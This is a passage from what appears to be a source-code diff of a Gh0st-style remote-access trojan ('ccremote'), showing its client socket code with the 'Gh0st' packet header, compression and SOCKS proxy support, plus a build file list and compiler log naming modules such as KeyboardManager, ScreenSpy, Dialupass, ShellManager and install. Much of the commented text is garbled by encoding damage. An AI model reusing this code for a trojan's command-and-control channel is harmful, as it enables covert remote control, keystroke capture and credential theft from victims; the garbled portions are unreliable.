<09><>ѡ<EFBFBD><D1A1><EFBFBD>IJ<EFBFBD><C4B2><EFBFBD><EFBFBD><EFBFBD>option_value)<29><>һ<EFBFBD><D2BB>linger<65><EFBFBD><E1B9B9>
struct linger {
int l_onoff;
int l_linger;
};
<09><><EFBFBD><EFBFBD>linger.l_onoffֵΪ0(<28>رգ<D8B1><D5A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> sock->sk->sk_flag<61>е<EFBFBD>SOCK_LINGERλ<52><CEBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ø<EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>sk->sk_lingertimeֵΪ linger.l_linger<65><72>
const void *option_value, //LINGER<45>
size_t ption_len //LINGER<45><52>С
);
*/
setsockopt(m_Socket, SOL_SOCKET, SO_LINGER, (char *)&lingerStruct, sizeof(lingerStruct));
//ȡ<><C8A1><EFBFBD>ɵ<EFBFBD><C9B5><EFBFBD><EFBFBD>߳<EFBFBD>Ϊָ<CEAA><D6B8><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>I / O<><4F><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><C3B9>ܲ<EFBFBD><DCB2><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>Ϊ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>I / O<><4F><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CancelIo((HANDLE)m_Socket);
//ԭ<>Ӳ<EFBFBD><D3B2><EFBFBD>
InterlockedExchange((LPLONG)&m_bIsRunning, false);
closesocket(m_Socket);
// <20><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD>״̬Ϊ<CCAC>б<EFBFBD><D0B1>ǣ<EFBFBD><C7A3>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4>̡߳<DFB3>
Sleep(500);
SetEvent(m_hEvent);
//INVALID_SOCKET<45><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>׽<EFBFBD><D7BD><EFBFBD>
m_Socket = INVALID_SOCKET;
}
int CClientSocket::Send(LPBYTE lpData, UINT nSize)
{
m_WriteBuffer.ClearBuffer();
if (nSize > 0)
{
// Compress data
unsigned long destLen = (double)nSize * 1.001 + 12;
LPBYTE pDest = new BYTE[destLen];
if (pDest == NULL)
return 0;
int nRet = compress(pDest, &destLen, lpData, nSize);
if (nRet != Z_OK)
{
delete[] pDest;
return -1;
}
//////////////////////////////////////////////////////////////////////////
LONG nBufLen = destLen + HDR_SIZE;
// 5 bytes packet flag
m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
// 4 byte header [Size of Entire Packet]
m_WriteBuffer.Write((PBYTE)&nBufLen, sizeof(nBufLen));
// 4 byte header [Size of UnCompress Entire Packet]
m_WriteBuffer.Write((PBYTE)&nSize, sizeof(nSize));
// Write Data
m_WriteBuffer.Write(pDest, destLen);
delete[] pDest;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٱ<EFBFBD><D9B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>Ϊ<EFBFBD>п<EFBFBD><D0BF><EFBFBD><EFBFBD><EFBFBD>m_ResendWriteBuffer<65><72><EFBFBD><EFBFBD><EFBFBD>ڷ<EFBFBD><DAB7><EFBFBD>,<2C><><EFBFBD>Բ<EFBFBD>ֱ<EFBFBD><D6B1>д<EFBFBD><D0B4>
LPBYTE lpResendWriteBuffer = new BYTE[nSize];
CopyMemory(lpResendWriteBuffer, lpData, nSize);
m_ResendWriteBuffer.ClearBuffer();
m_ResendWriteBuffer.Write(lpResendWriteBuffer, nSize); // <20><><EFBFBD>ݷ<EFBFBD><DDB7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
if (lpResendWriteBuffer)
delete[] lpResendWriteBuffer;
}
else // Ҫ<><D2AA><EFBFBD>ط<EFBFBD>, ֻ<><D6BB><EFBFBD><EFBFBD>FLAG
{
m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
m_ResendWriteBuffer.ClearBuffer();
m_ResendWriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag)); // <20><><EFBFBD>ݷ<EFBFBD><DDB7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
}
// <20>ֿ鷢<D6BF><E9B7A2>
return SendWithSplit(m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLen(), MAX_SEND_BUFFER);
}
int CClientSocket::SendWithSplit(LPBYTE lpData, UINT nSize, UINT nSplitSize)
{
int nRet = 0;
const char *pbuf = (char *)lpData;
int size = 0;
int nSend = 0;
int nSendRetry = 15;
int i = 0;
// <20><><EFBFBD>η<EFBFBD><CEB7><EFBFBD>
for (size = nSize; size >= nSplitSize; size -= nSplitSize)
{
for (i = 0; i < nSendRetry; i++)
{
nRet = send(m_Socket, pbuf, nSplitSize, 0);
if (nRet > 0)
break;
}
if (i == nSendRetry)
return -1;
nSend += nRet;
pbuf += nSplitSize;
Sleep(10); // <20><>Ҫ<EFBFBD><D2AA>Sleep,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD><C6B6><EFBFBD><EFBFBD>ݻ<EFBFBD><DDBB><EFBFBD>
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IJ<EFBFBD><C4B2><EFBFBD>
if (size > 0)
{
for (i = 0; i < nSendRetry; i++)
{
nRet = send(m_Socket, (char *)pbuf, size, 0);
if (nRet > 0)
break;
}
if (i == nSendRetry)
return -1;
nSend += nRet;
}
if (nSend == nSize)
return nSend;
else
return SOCKET_ERROR;
}
void CClientSocket::setManagerCallBack(CManager *pManager)
{
m_pManager = pManager;
}
void CClientSocket::setGlobalProxyOption(int nProxyType /*= PROXY_NONE*/, LPCTSTR lpszProxyHost /*= NULL*/,
UINT nProxyPort /*= 1080*/, LPCTSTR lpszUserName /*= NULL*/, LPCSTR lpszPassWord /*= NULL*/)
{
memset(m_strProxyHost, 0, sizeof(m_strProxyHost));
memset(m_strUserName, 0, sizeof(m_strUserName));
memset(m_strPassWord, 0, sizeof(m_strPassWord));
m_nProxyType = nProxyType;
if (lpszProxyHost != NULL)
lstrcpy(m_strProxyHost, lpszProxyHost);
m_nProxyPort = nProxyPort;
if (lpszUserName != NULL)
lstrcpy(m_strUserName, lpszUserName);
if (lpszPassWord != NULL)
lstrcpy(m_strPassWord, lpszPassWord);
}

View File

@@ -0,0 +1,115 @@
// ClientSocket.h: interface for the CClientSocket class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_CLIENTSOCKET_H__1902379A_1EEB_4AFE_A531_5E129AF7AE95__INCLUDED_)
#define AFX_CLIENTSOCKET_H__1902379A_1EEB_4AFE_A531_5E129AF7AE95__INCLUDED_
#include <winsock2.h>
#include <mswsock.h>
#include "common/Buffer.h" // Added by ClassView
#include "common/Manager.h"
#include "StrCry.h"
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// Change at your Own Peril
// 'G' 'h' '0' 's' 't' | PacketLen | UnZipLen
#define HDR_SIZE 13
#define FLAG_SIZE 5
enum
{
PROXY_NONE,
PROXY_SOCKS_VER4 = 4,
PROXY_SOCKS_VER5
};
struct socks5req1
{
char Ver;
char nMethods;
char Methods[2];
};
struct socks5ans1
{
char Ver;
char Method;
};
struct socks5req2
{
char Ver;
char Cmd;
char Rsv;
char Atyp;
unsigned long IPAddr;
unsigned short Port;
// char other[1];
};
struct socks5ans2
{
char Ver;
char Rep;
char Rsv;
char Atyp;
char other[1];
};
struct authreq
{
char Ver;
char Ulen;
char NamePass[256];
};
struct authans
{
char Ver;
char Status;
};
class CClientSocket
{
friend class CManager;
public:
CBuffer m_CompressionBuffer;
CBuffer m_DeCompressionBuffer;
CBuffer m_WriteBuffer;
CBuffer m_ResendWriteBuffer;
void Disconnect();
bool Connect(LPCTSTR lpszHost, UINT nPort);
int Send(LPBYTE lpData, UINT nSize);
void OnRead(LPBYTE lpBuffer, DWORD dwIoSize);
void setManagerCallBack(CManager *pManager);
void setGlobalProxyOption(int nProxyType = PROXY_NONE, LPCTSTR lpszProxyHost = NULL, UINT nProxyPort = 1080, LPCTSTR lpszUserName = NULL, LPCSTR lpszPassWord = NULL);
void run_event_loop();
bool IsRunning();
HANDLE m_hWorkerThread;
SOCKET m_Socket;
HANDLE m_hEvent;
CClientSocket();
virtual ~CClientSocket();
private:
static int m_nProxyType;
static char m_strProxyHost[256];
static UINT m_nProxyPort;
static char m_strUserName[256];
static char m_strPassWord[256];
BYTE m_bPacketFlag[FLAG_SIZE];
bool ConnectProxyServer(LPCTSTR lpszHost, UINT nPort);
static DWORD WINAPI WorkThread(LPVOID lparam);
int SendWithSplit(LPBYTE lpData, UINT nSize, UINT nSplitSize);
bool m_bIsRunning;
CManager *m_pManager; //---<2D>鿴CManager <20><><EFBFBD><EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD>
};
#endif // !defined(AFX_CLIENTSOCKET_H__1902379A_1EEB_4AFE_A531_5E129AF7AE95__INCLUDED_)

View File

@@ -0,0 +1,43 @@
f:\myapp\ccremote\bin\server\ccmaindll.lib
f:\myapp\ccremote\bin\server\ccmaindll.exp
f:\myapp\ccremote\bin\server\ccmaindll.ipdb
f:\myapp\ccremote\bin\server\ccmaindll.iobj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\pch.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audio.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\until.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\buffer.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videomanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videocap.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\systemmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\shellmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\servermanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenspy.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditopt.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditex.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\manager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\keyboardmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\kernelmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\install.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dialupass.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audiomanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\filemanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\strcry.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
f:\myapp\ccremote\bin\server\ccmaindll.ilk
f:\myapp\ccremote\bin\server\ccmaindll.dll
f:\myapp\ccremote\bin\server\ccmaindll.pdb
f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\ccmaindll.write.1u.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.delete.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog

View File

@@ -0,0 +1,192 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
pch.cpp
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
Audio.cpp
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
ClientSocket.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(34): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(34): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(75): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(77): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(213): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(330): warning C4018: “>=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(431): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(486): warning C4018: “>=”: 有符号/无符号不匹配
Buffer.cpp
until.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(69): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(103): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(103): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(176): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(179): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(292): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(292): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(324): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(324): warning C4309: “初始化”: 截断常量值
正在生成代码...
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
AudioManager.cpp
Dialupass.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
install.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
KernelManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(156): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(156): warning C4309: “初始化”: 截断常量值
KeyboardManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
Manager.cpp
RegEditEx.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(10): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(75): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(75): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(76): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(76): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(77): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(77): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(78): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(78): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(79): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(79): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(110): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(121): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(122): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(124): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(151): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
RegeditOpt.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4305: “=”: 从“<unnamed-enum-TRANSFER_MODE_NORMAL>”到“char”截断
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4309: “=”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(83): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(55): warning C4101: “DateSize”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “Type”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “NameSize”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4305: “=”: 从“<unnamed-enum-TRANSFER_MODE_NORMAL>”到“char”截断
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4309: “=”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(164): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(98): warning C4101: “szKeyName”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(106): warning C4101: “KeySize”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(182): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
RegManager.cpp
ScreenManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
d:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
ScreenSpy.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(379): warning C4018: “>”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: “<”: 有符号/无符号不匹配
ServerManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\servermanager.cpp(291): warning C4102: “defaute”: 未引用的标签
ShellManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(59): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
SystemManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(140): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(231): warning C4101: “cbNeeded”: 未引用的局部变量
VideoCap.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(36): warning C4838: 从“int”转换到“char”需要收缩转换
